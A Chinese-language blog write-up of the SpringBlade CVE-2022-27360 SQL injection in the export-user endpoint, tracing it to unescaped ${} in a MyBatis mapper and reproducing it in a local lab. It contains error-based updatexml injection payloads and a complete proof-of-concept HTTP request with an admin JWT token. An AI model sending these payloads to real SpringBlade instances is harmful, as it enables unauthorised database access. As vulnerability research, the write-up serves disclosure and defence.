当前位置:   article > 正文

SpringBlade CVE-2022-27360 export-user SQL 注入漏洞分析_blade 漏洞

blade 漏洞

漏洞描述

SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架,旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件,帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。

漏洞影响版本

SpringBlade <= v3.2.0

产品项目地址

SpringBlade: SpringBlade 是一个由商业级项目升级优化而来的微服务架构,采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建,完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。icon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade

项目源码下载

SpringBlade 发行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

漏洞分析

位于包package org.springblade.modules.system.controller;下的UserController

其中有方法 exportUser

该方法引用了QueryWrapper做为sql的查询条件,其中Map<String, Object> user是我们可控的参数

QueryWrapper使得sql语句变成如下这样的形式

SELECT * FROM user WHERE key = 'value' AND key = value AND is_deleted = 0

sql语句中where后面的数据 是我们可控的,如此我们尝试构造如下sql语句

SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1)=1;
SELECT * FROM `blade_user` WHERE 1=updatexml(1,concat(0x7e,user(),0x7e),1);
SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1);

先在本地测试一下

payload可以造成sql注入

 补充! 这里还要考虑到底层的sql语句是否采用了预编译机制

找寻MyBatis 的 XML 映射文件 exportUser方法

上面的是定义的接口下方是使用xml对接口的实现 。系统采用的${}的方式,这不是预编译的机制,可以造成sql注入

漏洞环境搭建

{本次踩的坑有点多,不想细说了}

本地项目前后端分离,下载下面链接的前后端项目

项目源码下载

SpringBlade 发行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

后端 配置好mysql redis 直接启动

前端 在项目中执行两条命令直接启动

npm install //下载前端所需包

npm start // 启动前端项目

项目搭建有问题的,可以看官方参考文档

Wiki - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C

漏洞复现

打开环境web 登录页面

在用户管理页面选择导出数据

burp抓包 增加sql注入payload

sql语句成功执行,漏洞复现成功。

附赠poc

GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host: 192.168.116.128:1888

注意:blade-auth是必要的 ,本次测试时只要admin登录情况下这串blade-auth就是可用的 貌似生成不够随机,这也算是另一个漏洞了。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/在线问答5/article/detail/739260
推荐阅读
相关标签
  

闽ICP备14008679号